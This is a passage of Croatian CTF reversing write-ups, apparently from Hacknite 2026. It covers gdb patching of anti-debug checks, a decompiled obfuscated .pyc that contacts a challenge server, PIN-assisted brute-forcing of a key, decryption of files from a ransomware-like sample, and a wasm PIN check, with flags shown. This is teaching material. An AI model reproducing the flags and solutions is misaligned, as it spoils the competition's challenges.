bajtovi: 00402735 bf 0a 00 MOV EDI,0xa 00 00 Umjesto 0x0a, postavlja se bajt 0xff. Na početku funkcije ''dbgd'', umjesto: 004019b4 f3 0f 1e fa ENDBR64 postavljaju se instrukcije: mov eax, 0x0; ret; Potrebni bajtovi za navedene instrukcije mogu se dobiti pwntools modulom. Gdb skripta: set follow-fork-mode child b main commands silent python alarm = 0x0402736 gdb.execute(f"set *(char*) {alarm}=255") dbgd = 0x4019b8 patch = b'\xb8\x00\x00\x00\x00\xc3' for i,b in enumerate(patch): gdb.execute(f"set *(char*) ({dbgd+i}) = {b}") end c end b *0x00402656 commands silent x/48i $rbp-0x120 c end r CTF2026[111111111111] Nakon pokretanja skripte par puta dobije se: ............................................................+++++[Switching to process 4414] 0x7fffffffddc0: endbr64 0x7fffffffddc4: xor eax,eax 0x7fffffffddc6: cmp BYTE PTR [rdi],0x43 0x7fffffffddc9: jne 0x7fffffffde50 0x7fffffffddcf: cmp BYTE PTR [rdi+0x1],0x54 0x7fffffffddd3: jne 0x7fffffffde50 0x7fffffffddd5: cmp BYTE PTR [rdi+0x2],0x46 0x7fffffffddd9: jne 0x7fffffffde50 0x7fffffffdddb: cmp BYTE PTR [rdi+0x3],0x32 0x7fffffffdddf: jne 0x7fffffffde50 0x7fffffffdde1: cmp BYTE PTR [rdi+0x4],0x30 0x7fffffffdde5: jne 0x7fffffffde50 0x7fffffffdde7: cmp BYTE PTR [rdi+0x5],0x32 0x7fffffffddeb: jne 0x7fffffffde50 0x7fffffffdded: cmp BYTE PTR [rdi+0x6],0x36 0x7fffffffddf1: jne 0x7fffffffde50 0x7fffffffddf3: cmp BYTE PTR [rdi+0x7],0x5b 0x7fffffffddf7: jne 0x7fffffffde50 0x7fffffffddf9: cmp BYTE PTR [rdi+0x8],0x35 0x7fffffffddfd: jne 0x7fffffffde50 0x7fffffffddff: cmp BYTE PTR [rdi+0x9],0x35 0x7fffffffde03: jne 0x7fffffffde50 0x7fffffffde05: cmp BYTE PTR [rdi+0xa],0x30 0x7fffffffde09: jne 0x7fffffffde50 0x7fffffffde0b: cmp BYTE PTR [rdi+0xb],0x39 0x7fffffffde0f: jne 0x7fffffffde50 0x7fffffffde11: cmp BYTE PTR [rdi+0xc],0x34 0x7fffffffde15: jne 0x7fffffffde50 0x7fffffffde17: cmp BYTE PTR [rdi+0xd],0x34 0x7fffffffde1b: jne 0x7fffffffde50 0x7fffffffde1d: cmp BYTE PTR [rdi+0xe],0x32 0x7fffffffde21: jne 0x7fffffffde50 0x7fffffffde23: cmp BYTE PTR [rdi+0xf],0x34 0x7fffffffde27: jne 0x7fffffffde50 0x7fffffffde29: cmp BYTE PTR [rdi+0x10],0x31 0x7fffffffde2d: jne 0x7fffffffde50 0x7fffffffde2f: cmp BYTE PTR [rdi+0x11],0x36 0x7fffffffde33: jne 0x7fffffffde50 0x7fffffffde35: cmp BYTE PTR [rdi+0x12],0x36 0x7fffffffde39: jne 0x7fffffffde50 0x7fffffffde3b: cmp BYTE PTR [rdi+0x13],0x30 0x7fffffffde3f: jne 0x7fffffffde50 0x7fffffffde41: cmp BYTE PTR [rdi+0x14],0x5d 0x7fffffffde45: jne 0x7fffffffde50 0x7fffffffde47: xor eax,eax 0x7fffffffde49: cmp BYTE PTR [rdi+0x15],0x0 0x7fffffffde4d: sete al 0x7fffffffde50: ret Kod je uspješno generiran i prikazan. Uspoređuje bajtove naredbenog argumenta s hardkodiranim bajtovima koji su ujedno bajtovi zastavice. ===Rješenje=== set follow-fork-mode child b main commands silent python alarm = 0x0402736 gdb.execute(f"set *(char*) {alarm}=255") dbgd = 0x4019b8 patch = b'\xb8\x00\x00\x00\x00\xc3' for i,b in enumerate(patch): gdb.execute(f"set *(char*) ({dbgd+i}) = {b}") end c end b *0x00402656 commands silent x/48i $rbp-0x120 c end r CTF2026[111111111111] ====PYC Reversing==== Dana je .pyc datoteka. Sumnja se da je obfuscirana. Možeš li saznati što radi? ===Kontekst zadatka=== Dana je .pyc datoteka. Pokretanjem ispisuje se: Pokretanje... Nepostojeći unos, izlazak iz programa... Dekompilacijom datoteke dobije se kod: print(''.join([chr(c) for c in (80, 111, 107, 114, 101, 116, 97, 110, 106, 101, 46, 46, 46)])) _VrpoiVgR = ''.join([chr(c) for c in (108, 111, 122, 105, 110, 107, 97, 49, 50, 51)]) import os try: _fygw2wMq = {93: 68} _BcbfnoGMbJmT = os.read(20, 21) _AoCLrZ3aWZkS = ''.join([chr(b ^ 88) for b in (59, 48, 57, 52, 118, 48, 57, 59, 51, 54, 49, 44, 61, 118, 48, 42)]) _cQoXsf2o = 887 if 48 == 136: pass except Exception as _wnQrS7RPeM: pass except: if Exception: _wnQrS7RPeM = None _wnQrS7RPeM = None del _wnQrS7RPeM, _wnQrS7RPeM _wnQrS7RPeM = None print(''.join([chr(b ^ 40) for b in (102, 77, 88, 71, 91, 92, 71, 66, 77, 303, 65, 8, 93, 70, 71, 91, 4, 8, 65, 82, 68, 73, 82, 73, 67, 8, 65, 82, 8, 88, 90, 71, 79, 90, 73, 69, 73, 6, 6, 6)])) exit() len('yrOSJoRuXXdocZuzr') _eInGqi7w = 902 _n68K4Tun = 159865332597048718801071185888472247278750295198451 for _kC1ITtNZPH in range(0): pass _VrpoiVgR = _BcbfnoGMbJmT _84iqh4gV = lambda x: x + 1 if 56 == 171: pass import socket def _z46PDjqipVJ(_AoCLrZ3aWZkS, _n68K4Tun): assert 4 < 1000000000 with open('/dev/null', 'w') as _zxoiGFfWd3hj: pass return _AoCLrZ3aWZkS, int.from_bytes(_BcbfnoGMbJmT) ^ _n68K4Tun if _VrpoiVgR == ''.join([chr(b ^ 197) for b in (168, 167, 164, 180, 245, 161, 161, 246, 173, 164, 247, 173, 167, 189, 246, 173, 174, 161, 252, 177, 240)]).encode(): _TtzQPxC5H = lambda x: x + 1 with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as _hsBkDa9U4U: _7x41Ztpd = [x * 2 for x in (9, 1, 1)] assert 3 < 1000000000 _hsBkDa9U4U.connect(_z46PDjqipVJ(_AoCLrZ3aWZkS, _n68K4Tun)) _GWlG6g3Ot1 = ''.join([chr(c) for c in (71, 105, 118, 101, 32, 109, 101, 32, 116, 104, 101, 32, 102, 108, 97, 103)]) _xWkI9X7H6 = _GWlG6g3Ot1.encode() _hsBkDa9U4U.sendall(_xWkI9X7H6) print(''.join([chr(c) for c in (73, 122, 108, 97, 122, 97, 107, 46, 46, 46)])) while 0 == 68: pass _eInGqi7w = 902 _n68K4Tun = 159865332597048718801071185888472247278750295198451 for _kC1ITtNZPH in range(0): pass _VrpoiVgR = _BcbfnoGMbJmT _84iqh4gV = lambda x: x + 1 if 56 == 171: pass import socket def _z46PDjqipVJ(_AoCLrZ3aWZkS, _n68K4Tun): assert 4 < 1000000000 with open('/dev/null', 'w') as _zxoiGFfWd3hj: pass return _AoCLrZ3aWZkS, int.from_bytes(_BcbfnoGMbJmT) ^ _n68K4Tun if _VrpoiVgR == ''.join([chr(b ^ 197) for b in (168, 167, 164, 180, 245, 161, 161, 246, 173, 164, 247, 173, 167, 189, 246, 173, 174, 161, 252, 177, 240)]).encode(): _TtzQPxC5H = lambda x: x + 1 with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as _hsBkDa9U4U: _7x41Ztpd = [x * 2 for x in (9, 1, 1)] assert 3 < 1000000000 _hsBkDa9U4U.connect(_z46PDjqipVJ(_AoCLrZ3aWZkS, _n68K4Tun)) _GWlG6g3Ot1 = ''.join([chr(c) for c in (71, 105, 118, 101, 32, 109, 101, 32, 116, 104, 101, 32, 102, 108, 97, 103)]) _xWkI9X7H6 = _GWlG6g3Ot1.encode() _hsBkDa9U4U.sendall(_xWkI9X7H6) print(''.join([chr(c) for c in (73, 122, 108, 97, 122, 97, 107, 46, 46, 46)])) while 0 == 68: pass for _bLJoLoaeTO in range(0): pass else: for _3veGprQF in range(0): pass len('pYEZAmggQBwBADUdRP') print(''.join([chr(b ^ 247) for b in (185, 146, 158, 132, 135, 133, 150, 129, 150, 153, 215, 130, 153, 152, 132, 219, 215, 158, 141, 155, 150, 141, 150, 156, 215, 158, 141, 215, 135, 133, 152, 144, 133, 150, 154, 150, 217, 217, 217)])) _Z3gpmmICiB = 93334402602 _kAFEn3z5d = {48: 33, 0: 100} _ddLEG62Hkd = 1425195 _zh84KpLMc = 634 exit() with open('/dev/null', 'w') as _KHu7qnQTupqz: pass while 0 == 37: pass # WARNING: Decompyle incomplete ===Ranjivost i ideja napada=== Program je obfusciran. Ključan dio koda: if _VrpoiVgR == ''.join([chr(b ^ 197) for b in (168, 167, 164, 180, 245, 161, 161, 246, 173, 164, 247, 173, 167, 189, 246, 173, 174, 161, 252, 177, 240)]).encode(): _TtzQPxC5H = lambda x: x + 1 with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as _hsBkDa9U4U: _7x41Ztpd = [x * 2 for x in (9, 1, 1)] assert 3 < 1000000000 _hsBkDa9U4U.connect(_z46PDjqipVJ(_AoCLrZ3aWZkS, _n68K4Tun)) _GWlG6g3Ot1 = ''.join([chr(c) for c in (71, 105, 118, 101, 32, 109, 101, 32, 116, 104, 101, 32, 102, 108, 97, 103)]) _xWkI9X7H6 = _GWlG6g3Ot1.encode() _hsBkDa9U4U.sendall(_xWkI9X7H6) Vidljivo je da se program povezuje na socket. U granu se ulazi ako je varijabla _VrpoiVgR jednaka određenom nizu bajtova. Njoj se prosljeđuje varijabla: _VrpoiVgR = _BcbfnoGMbJmT Pritom prije toga _BcbfnoGMbJmT prima unos u liniji: _BcbfnoGMbJmT = os.read(20, 21) U python interpreteru: >>> a = ''.join([chr(b ^ 197) for b in (168, 167, 164, 180, 245, 161, 161, 246, 173, 164, 247, 173, 167, 189, 246, 173, 174, 161, 252, 177, 240)]).encode() >>> a b'mbaq0dd3ha2hbx3hkd9t5' Dakle, ako se u file descriptor 20 upiše niz "mbaq0dd3ha2hbx3hkd9t5", funkcija će se povezati na socket. Pregledom s pomoću strace naredbe, dobije se konekcija i sadržaj sendto funkcije strace -e connect,sendto python3 challenge.cpython-311.pyc 20< <(echo "mbaq0dd3ha2hbx3hkd9t5") strace: Exit of unknown pid 9305 ignored Pokretanje... connect(4, {sa_family=AF_UNIX, sun_path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory) connect(4, {sa_family=AF_UNIX, sun_path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory) connect(3, {sa_family=AF_INET, sin_port=htons(32454), sin_addr=inet_addr("127.0.0.1")}, 16) = 0 sendto(3, "Give me the flag", 16, 0, NULL, 0) = 16 Izlazak... +++ exited with 0 +++ Napomena: adresa 127.0.0.1 je upisana umjesto prave adrese zadatka. Sadržaj sendto je "Give me the flag". Ako se netcatom poveže na poslužitelj i pošalje navedeni string dobije se b64 enkodirani string. Dekodiranjem stringa dobije se HTML stranica. ===Rješenje=== Otvoriti HTML stranicu na kojoj se ispiše flag. ====Rev Zagrijavanje==== Zagrijte se za rev zadatke. ===Kontekst zadatka=== Otvaranjem zadatka u Ghidri analizira se glavna funkcija: undefined8 FUN_00401830(void) { int iVar1; undefined8 uVar2; long in_FS_OFFSET; char cStack_98; char cStack_97; char cStack_96; char cStack_95; char cStack_94; char cStack_93; char cStack_92; char cStack_91; char cStack_90; char cStack_8f; char cStack_8e; char cStack_8d; char cStack_8c; char cStack_8b; char cStack_8a; char cStack_89; char cStack_88; char cStack_87; char cStack_86; char cStack_85; char cStack_84; char cStack_83; long lStack_10; lStack_10 = *(long *)(in_FS_OFFSET + 0x28); FUN_00427750(2,&DAT_0049e02c); FUN_0040df10(DAT_004ca6d0); iVar1 = FUN_00404f10(&DAT_0049e041,&cStack_98); if ((((((iVar1 == 1) && (cStack_83 == '\0')) && (cStack_98 == 'C')) && (((cStack_97 == 'T' && (cStack_96 == 'F')) && ((cStack_95 == '2' && ((cStack_94 == '0' && (cStack_93 == '2')))))))) && ((cStack_92 == '6' && ((((((cStack_91 == '[' && (cStack_90 == '3')) && (cStack_8f == '3')) && ((cStack_8e == '6' && (cStack_8d == '4')))) && ((cStack_8c == '2' && ((cStack_8b == '3' && (cStack_8a == '7')))))) && (cStack_89 == '0'))) ))) && ((((cStack_88 == '1' && (cStack_87 == '7')) && (cStack_86 == '0')) && ((cStack_85 == '3' && (cStack_84 == ']')))))) { FUN_0040e070(&DAT_0049e057); uVar2 = 0; } else { FUN_0040e070(&DAT_0049e047); uVar2 = 1; } if (lStack_10 == *(long *)(in_FS_OFFSET + 0x28)) { return uVar2; } /* WARNING: Subroutine does not return */ FUN_00427820(); } ===Ranjivost i ideja napada=== Bajtovi unosa se uspoređuju s bajtovima zastavice. ===Rješenje=== Iščitati zastavicu iz instrukcija. ====Secret key==== Alatom PIN je analiziran tok programa s traženim tajnim ključem. Možeš li saznati znamenke ključa? ===Kontekst zadatka=== Dana je tekstualna datoteka sa sadržajem analize: Unesi ključ: REDACTED #samo znamenke Tajni ključ: 1440919487 Analiza izvođenja funkcije "cypher" s unesenim ključem: Broj izvršenih add instrukcija: 213 Broj izvršenih sub instrukcija: 59 Broj izvršenih or instrukcija: 1 Broj izvršenih idiv instrukcija: 7 Analizom binarne datoteke u Ghidri dobije se glavna funkcija: undefined8 main(void) { undefined1 auStack_19 [13]; undefined4 uStack_c; printf(&UNK_0047a004); fgets(auStack_19,0xd,stdin); uStack_c = cypher(auStack_19); printf(&UNK_0047a013,uStack_c); return 0; } Primjer pokretanja programa: ./a.out Unesi ključ: 123123123123 Tajni ključ: 3123768157 Program traži unos ključa, nakon čega se generira tajni ključ. U datoteci je dan broj izvršenih instrukcija poput add sub or i idiv. Potrebno je iz generiranog tajnog ključa otkriti koji ključ je korišten kako bi se došlo do zastavice. ===Ranjivost i ideja napada=== Analizom funkcije ''cypher'' dobije se: int cypher(char *param_1) { uint uVar1; int iVar2; int iVar3; int local_14; byte local_d; uint local_c; local_c = 0; for (local_14 = 0; local_14 < (int)(uint)(byte)(*param_1 - param_1[1]); local_14 = local_14 + 1) { local_c = local_c + param_1[1] * local_14; local_c = local_c * 0x10 | local_c >> 0x1c; } local_d = param_1[3] ^ param_1[2]; while (local_d != 0) { local_d = local_d - 1; uVar1 = (local_c | local_d) + (int)param_1[2]; local_c = uVar1 * 8 | uVar1 >> 0x1d; } for (local_d = param_1[4] * param_1[5]; local_d != '\0'; local_d = local_d - param_1[4]) { local_c = (local_c + (int)param_1[4]) * 0x80 | local_c + (int)param_1[4] >> 0x19; } for (local_d = 100; local_d != 0; local_d = (byte)((long)(ulong)local_d / (long)(param_1[6] + -0x2e))) { local_c = (local_c + (int)param_1[7]) * 0x800 | local_c + (int)param_1[7] >> 0x15; } srandom(*(uint *)(param_1 + 8)); iVar2 = rand(); srandom(local_c); iVar3 = rand(); return iVar2 + iVar3; } Specifično, bitan je odsječak: srandom(*(uint *)(param_1 + 8)); iVar2 = rand(); srandom(local_c); iVar3 = rand(); return iVar2 + iVar3; Prvi seed za srandom su zadnje četiri znamenke ključa. Drugi seed je rezultat različitih operacija nad prvih osam bajtova ključa. S obzirom na to da dani brojevi izvršenih instrukcija u PIN analizi, potreban je disassembly koda: [0x00401530]> s sym.cypher [0x00401655]> pdf ; CALL XREF from main @ 0x4017fe(x) ┌ 366: sym.cypher (char *arg1); │ `- args(rdi) vars(5:sp[0xc..0x20]) │ 0x00401655 55 push rbp │ 0x00401656 4889e5 mov rbp, rsp │ 0x00401659 4883ec20 sub rsp, 0x20 │ 0x0040165d 48897de8 mov qword [seed], rdi ; arg1 │ 0x00401661 c745fc0000.. mov dword [var_4h], 0 │ 0x00401668 488b45e8 mov rax, qword [seed] │ 0x0040166c 0fb600 movzx eax, byte [rax] │ 0x0040166f 89c2 mov edx, eax │ 0x00401671 488b45e8 mov rax, qword [seed] │ 0x00401675 4883c001 add rax, 1 │ 0x00401679 0fb600 movzx eax, byte [rax] │ 0x0040167c 89c1 mov ecx, eax │ 0x0040167e 89d0 mov eax, edx │ 0x00401680 29c8 sub eax, ecx │ 0x00401682 8845fb mov byte [var_5h], al │ 0x00401685 c745f40000.. mov dword [var_ch], 0 │ ┌─< 0x0040168c eb1d jmp 0x4016ab │ │ ; CODE XREF from sym.cypher @ 0x4016b2(x) │ ┌──> 0x0040168e 488b45e8 mov rax, qword [seed] │ ╎│ 0x00401692 4883c001 add rax, 1 │ ╎│ 0x00401696 0fb600 movzx eax, byte [rax] │ ╎│ 0x00401699 0fbec0 movsx eax, al │ ╎│ 0x0040169c 0faf45f4 imul eax, dword [var_ch] │ ╎│ 0x004016a0 0145fc add dword [var_4h], eax │ ╎│ 0x004016a3 c145fc04 rol dword [var_4h], 4 │ ╎│ 0x004016a7 8345f401 add dword [var_ch], 1 │ ╎│ ; CODE XREF from sym.cypher @ 0x40168c(x) │ ╎└─> 0x004016ab 0fb645fb movzx eax, byte [var_5h] │ ╎ 0x004016af 3945f4 cmp dword [var_ch], eax │ └──< 0x004016b2 7cda jl 0x40168e │ 0x004016b4 488b45e8 mov rax, qword [seed] │ 0x004016b8 4883c002 add rax, 2 │ 0x004016bc 0fb610 movzx edx, byte [rax] │ 0x004016bf 488b45e8 mov rax, qword [seed] │ 0x004016c3 4883c003 add rax, 3 │ 0x004016c7 0fb600 movzx eax, byte [rax] │ 0x004016ca 31d0 xor eax, edx │ 0x004016cc 8845fb mov byte [var_5h], al │ ┌─< 0x004016cf eb2a jmp 0x4016fb │ │ ; CODE XREF from sym.cypher @ 0x4016ff(x) │ ┌──> 0x004016d1 0fb645fb movzx eax, byte [var_5h] │ ╎│ 0x004016d5 83e801 sub eax, 1 │ ╎│ 0x004016d8 8845fb mov byte [var_5h], al │ ╎│ 0x004016db 0fb645fb movzx eax, byte [var_5h] │ ╎│ 0x004016df 0945fc or dword [var_4h], eax │ ╎│ 0x004016e2 488b45e8 mov rax, qword [seed] │ ╎│ 0x004016e6 4883c002 add rax, 2 │ ╎│ 0x004016ea 0fb600 movzx eax, byte [rax] │ ╎│ 0x004016ed 0fbed0 movsx edx, al │ ╎│ 0x004016f0 8b45fc mov eax, dword [var_4h] │ ╎│ 0x004016f3 01d0 add eax, edx │ ╎│ 0x004016f5 c1c003 rol eax, 3 │ ╎│ 0x004016f8 8945fc mov dword [var_4h], eax │ ╎│ ; CODE XREF from sym.cypher @ 0x4016cf(x) │ ╎└─> 0x004016fb 807dfb00 cmp byte [var_5h], 0 │ └──< 0x004016ff 75d0 jne 0x4016d1 │ 0x00401701 488b45e8 mov rax, qword [seed] │ 0x00401705 4883c004 add rax, 4 │ 0x00401709 0fb600 movzx eax, byte [rax] │ 0x0040170c 89c1 mov ecx, eax │ 0x0040170e 488b45e8 mov rax, qword [seed] │ 0x00401712 4883c005 add rax, 5 │ 0x00401716 0fb600 movzx eax, byte [rax] │ 0x00401719 89c2 mov edx, eax │ 0x0040171b 89c8 mov eax, ecx │ 0x0040171d 0fafc2 imul eax, edx │ 0x00401720 8845fb mov byte [var_5h], al │ ┌─< 0x00401723 eb27 jmp 0x40174c │ │ ; CODE XREF from sym.cypher @ 0x401750(x) │ ┌──> 0x00401725 488b45e8 mov rax, qword [seed] │ ╎│ 0x00401729 4883c004 add rax, 4 │ ╎│ 0x0040172d 0fb600 movzx eax, byte [rax] │ ╎│ 0x00401730 2845fb sub byte [var_5h], al │ ╎│ 0x00401733 488b45e8 mov rax, qword [seed] │ ╎│ 0x00401737 4883c004 add rax, 4 │ ╎│ 0x0040173b 0fb600 movzx eax, byte [rax] │ ╎│ 0x0040173e 0fbed0 movsx edx, al │ ╎│ 0x00401741 8b45fc mov eax, dword [var_4h] │ ╎│ 0x00401744 01d0 add eax, edx │ ╎│ 0x00401746 c1c007 rol eax, 7 │ ╎│ 0x00401749 8945fc mov dword [var_4h], eax │ ╎│ ; CODE XREF from sym.cypher @ 0x401723(x) │ ╎└─> 0x0040174c 807dfb00 cmp byte [var_5h], 0 │ └──< 0x00401750 75d3 jne 0x401725 │ 0x00401752 c645fb64 mov byte [var_5h], 0x64 ; 'd' │ ┌─< 0x00401756 eb34 jmp 0x40178c │ │ ; CODE XREF from sym.cypher @ 0x401790(x) │ ┌──> 0x00401758 0fb645fb movzx eax, byte [var_5h] │ ╎│ 0x0040175c 488b55e8 mov rdx, qword [seed] │ ╎│ 0x00401760 4883c206 add rdx, 6 │ ╎│ 0x00401764 0fb612 movzx edx, byte [rdx] │ ╎│ 0x00401767 0fbed2 movsx edx, dl │ ╎│ 0x0040176a 8d72d2 lea esi, [rdx - 0x2e] │ ╎│ 0x0040176d 99 cdq │ ╎│ 0x0040176e f7fe idiv esi │ ╎│ 0x00401770 8845fb mov byte [var_5h], al │ ╎│ 0x00401773 488b45e8 mov rax, qword [seed] │ ╎│ 0x00401777 4883c007 add rax, 7 │ ╎│ 0x0040177b 0fb600 movzx eax, byte [rax] │ ╎│ 0x0040177e 0fbed0 movsx edx, al │ ╎│ 0x00401781 8b45fc mov eax, dword [var_4h] │ ╎│ 0x00401784 01d0 add eax, edx │ ╎│ 0x00401786 c1c00b rol eax, 0xb │ ╎│ 0x00401789 8945fc mov dword [var_4h], eax │ ╎│ ; CODE XREF from sym.cypher @ 0x401756(x) │ ╎└─> 0x0040178c 807dfb00 cmp byte [var_5h], 0 │ └──< 0x00401790 75c6 jne 0x401758 │ 0x00401792 488b45e8 mov rax, qword [seed] │ 0x00401796 4883c008 add rax, 8 │ 0x0040179a 8b00 mov eax, dword [rax] │ 0x0040179c 89c7 mov edi, eax ; uint32_t seed │ 0x0040179e e84d820000 call sym.__srandom ; uint32_t srandom(uint32_t seed) │ 0x004017a3 e838820000 call sym.rand ; int rand(void) │ 0x004017a8 8945f0 mov dword [var_10h], eax │ 0x004017ab 8b45fc mov eax, dword [var_4h] │ 0x004017ae 89c7 mov edi, eax ; uint32_t seed │ 0x004017b0 e83b820000 call sym.__srandom ; uint32_t srandom(uint32_t seed) │ 0x004017b5 e826820000 call sym.rand ; int rand(void) │ 0x004017ba 89c2 mov edx, eax │ 0x004017bc 8b45f0 mov eax, dword [var_10h] │ 0x004017bf 01d0 add eax, edx │ 0x004017c1 c9 leave └ 0x004017c2 c3 ret Vidljivo je da se pojavljuju četiri petlje. Petlje ovise o vrijednostima zastavice te svaka petlja utječe na varijablu ''local_c''. Na primjer, u drugoj petlji: local_d = param_1[3] ^ param_1[2]; while (local_d != 0) { local_d = local_d - 1; uVar1 = (local_c | local_d) + (int)param_1[2]; local_c = uVar1 * 8 | uVar1 >> 0x1d; } vrijednost ''local_d'' sadrži rezultat XOR operacije trećeg i četvrtog bajta ključa. S obzirom na to da se jedino u toj petlji pojavljuje instrukcija or koja je izvršena samo jednom (u ispisu PIN analize), može se zaključiti da je rezultat XOR operacija nad trećim i četvrtim bajtom 1. Na sličan način, dođe se do ostalih zaključaka: key[2]^key[3] = 1 key[5] = 56 = "8" idiv: 7 -> 100/(x**7) < 1 i 100/(x**6) > 1 -> key[6] - 0x2e = 2 -> key[6] = "0" key[0] - key[1] = 5 Dobiveni su odnosi bajtova te čak otkrivene konkretne vrijednosti ključa. Time se znatno smanjio prostor za bruteforce napad. Kako bi se otkrio ključ, potrebno je: 1. Dobiti sve kandidate za srand() i rand() prvih 8 bajtova. 2. Bruteforce napad nad srand() i rand() zadnja 4 bajta i pregled daje li zbroj tajni ključ. ===Rješenje=== Za dobivanje kandidata u rješenju se koristi PIN: #include #include "pin.H" struct candidate{ unsigned char key[9] = {0}; unsigned int result; }; struct candidate c; VOID get_key(ADDRINT rdiValue){ memcpy(&c.key, (char*) rdiValue, 8); } VOID get_result(ADDRINT eaxValue){ c.result = eaxValue; } VOID instrument(INS ins, VOID* v){ ADDRINT addr = INS_Address(ins); if (addr == 0x00401655){ INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)get_key, IARG_REG_VALUE, LEVEL_BASE::REG_RDI, IARG_END); } else if (addr == 0x004017ba){ INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)get_result, IARG_REG_VALUE, REG_EAX, IARG_END); } } VOID fini(INT32 code, VOID* v){ printf("%s %u\n", c.key, c.result); } int main(int argc, char** argv){ PIN_Init(argc, argv); INS_AddInstrumentFunction(instrument, 0); PIN_AddFiniFunction(fini, 0); PIN_StartProgram(); return 0; } Bruteforce zadnjih četiri znamenki: #include #include int main(){ for(char key_8 = 48; key_8 < 58; key_8++){ for(char key_9 = 48; key_9 < 58; key_9++){ for(char key_10 = 48; key_10 < 58; key_10++){ for(char key_11 = 48; key_11 < 58; key_11++){ char buf[5] = {key_8, key_9, key_10, key_11, 0}; srand(*(unsigned int*) &buf); unsigned int result = rand(); printf("%s %u\n", &buf, result); }}}} return 0; } Python skripta: from pwn import * import os if not os.path.isfile("./candidates.txt"): candidates = [] pin = "/home/hacknite/pin-external-4.4-99977-g54fbb8814-gcc-linux/pin" pintool = "/home/hacknite/pin-external-4.4-99977-g54fbb8814-gcc-linux/source/tools/hacknite_rev/obj-intel64/rand_candidates.so" i = 0 for key_1 in range(48, 48 + 5): key_0 = key_1 + 5 for key_2 in range(48, 58): key_3 = key_2 ^ 1 for key_4 in range(48, 58): for key_7 in range(48, 58): key = bytearray(b"000008000000") key[0] = key_0 key[1] = key_1 key[2] = key_2 key[3] = key_3 key[4] = key_4 key[7] = key_7 p = process([pin, "-t", pintool, "--", "./a.out"]) p.sendline(key) p.recvline() flag_cand, result = p.recvline()[:-1].split(b" ") result = int(result) candidates.append((flag_cand, result)) p.kill() print(i) i = i + 1 with open("candidates.txt", "w") as f: for v in candidates: flag_cand, result = v l = flag_cand.decode() + " " + str(result) + "\n" f.write(l) target = 1440919487 candidates = [] with open("candidates.txt", "r") as f: lines = f.readlines() for l in lines: cand, result = l.split(" ") result = int(result) candidates.append((cand, result)) p = process("./bruteforce.out") brute = p.recvall().decode() brute = brute.split("\n")[:-1] for v in brute: cand2, result2 = v.split(" ") result2 = int(result2) for c in candidates: cand, result = c if (result + result2) == target: print(f"CTF2026[{cand+cand2}]") exit() Skripta najprije sakuplja sve moguće kandidate prvih osam bajtova PIN alatom. Korištenjem odnosa i vrijednosti bajtova znamenki ključa, unosi sve moguće vrijednosti u program, gdje PIN zatim ispisuje srand i rand kandidate. Zatim, pokretanjem bruteforce skripte dobivaju se kandidati zadnjih četiri bajta ključa za srand i rand funkcije te gleda daje li zbroj rand funkcije s nekim kandidatom prvih osam bajtova vrijednost tajnog ključa. Ako je zbroj isti, pronađena je zastavica. ====Sumnjivi invoice_update.exe==== Netko je pronašao sumnjivi program "invoice_update.exe" u svom downloads direktoriju. Umjesto njegove "flag.txt" datoteke sada je prisutna samo datoteka "flag.encrypted". ===Kontekst zadatka=== Dane su datoteke flag.encrypted i invoice_update.exe. Program radi sljedeće: 1. Loader.Initialize ručno parsira PE export tablicu kernel32.dll, pronalazi GetProcAddress preko FNV-1a hasha, pa preko njega resolva CreateFileW, ReadFile, WriteFile, GetFileSizeEx, CloseHandle, DeleteFileW. Imena API-ja i DLL-a su XOR-obfuscirana (0x5A / 0x37). 2. Locator.Find u trenutnom direktoriju traži datoteku čiji SHA-256 imena odgovara hashu stringa "flag.txt". 3. NativeFile.Read – čita flag.txt preko raw Win32 API poziva. 4. DependencyChecks.CheckDependencies() – generira AES-256 ključ: 1. uzme Seed (16 bajtova) 2. XOR sa 0x37 3. Array.Reverse 4. SHA256 → 32 bajta = AES ključ 5. Transformer.Run – AES-256-CBC, IV = 16 nula, PKCS7 padding, enkriptira sadržaj. 6. NativeFile.Write – zapisuje rezultat kao .encrypted. 7. NativeFile.Remove – briše originalni flag.txt. Dakle: flag.txt se enkriptira u flag.encrypted i original se obriše. Zastava je unutra, treba ju dekriptirati. ===Ranjivost i ideja napada=== Kako bi se zadatak riješio, potrebno je izvesti obrnuti postupak od programa: 1. Rekonstruirati AES ključ 2. Dekriptirati enkripciju ključa ===Rješenje=== #!/usr/bin/env python3 import hashlib import sys from pathlib import Path from Crypto.Cipher import AES from Crypto.Util.Padding import unpad SEED = bytes([ 0x91, 0xA4, 0x31, 0x72, 0x19, 0xF3, 0x88, 0x42, 0x55, 0x10, 0xC7, 0x2A, 0x63, 0x11, 0xD4, 0x09 ]) IV = b"\x00" * 16 def derive_key(): # 1. XOR every byte with 0x37 material = bytes(b ^ 0x37 for b in SEED) # 2. Reverse material = material[::-1] # 3. SHA-256 -> 32-byte AES-256 key return hashlib.sha256(material).digest() def decrypt(data): key = derive_key() cipher = AES.new( key, AES.MODE_CBC, IV ) plaintext = cipher.decrypt(data) # Equivalent to .NET PaddingMode.PKCS7 return unpad(plaintext, AES.block_size) def main(): if len(sys.argv) != 3: print(f"Usage: {sys.argv[0]} encrypted_file output_file") sys.exit(1) source = Path(sys.argv[1]) destination = Path(sys.argv[2]) encrypted = source.read_bytes() plaintext = decrypt(encrypted) destination.write_bytes(plaintext) print(f"Decrypted: {source}") print(f"Output: {destination}") if __name__ == "__main__": main() ====Game Rev 1==== Možete li pronaći tajnu prijavu i saznati tajni password? http://chal.hacknite.hr:18001 ===Kontekst zadatka=== {{hacknite2026:game_rev_1.gif?nolink&500|Game Rev 1}} Dane su datoteke game.js i game.wasm na klijentskoj strani preglednika. Unutar game.wasm može se pronaći check_pin funkcija: (func $check_pin (;10;) (export "check_pin") (param $var0 i32) (result i32) (local $var1 i32) (local $var2 i32) (local $var3 i32) (local $var4 i32) (local $var5 i32) (local $var6 i32) (local $var7 i32) (local $var8 i32) (local $var9 i32) global.get $__stack_pointer i32.const 16 i32.sub local.tee $var1 global.set $__stack_pointer block $label1 block $label0 local.get $var0 call $strlen i32.const 12 i32.eq br_if $label0 i32.const 0 local.set $var2 br $label1 end $label0 i32.const 0 local.set $var2 i32.const 0 i32.load offset=1040 local.tee $var3 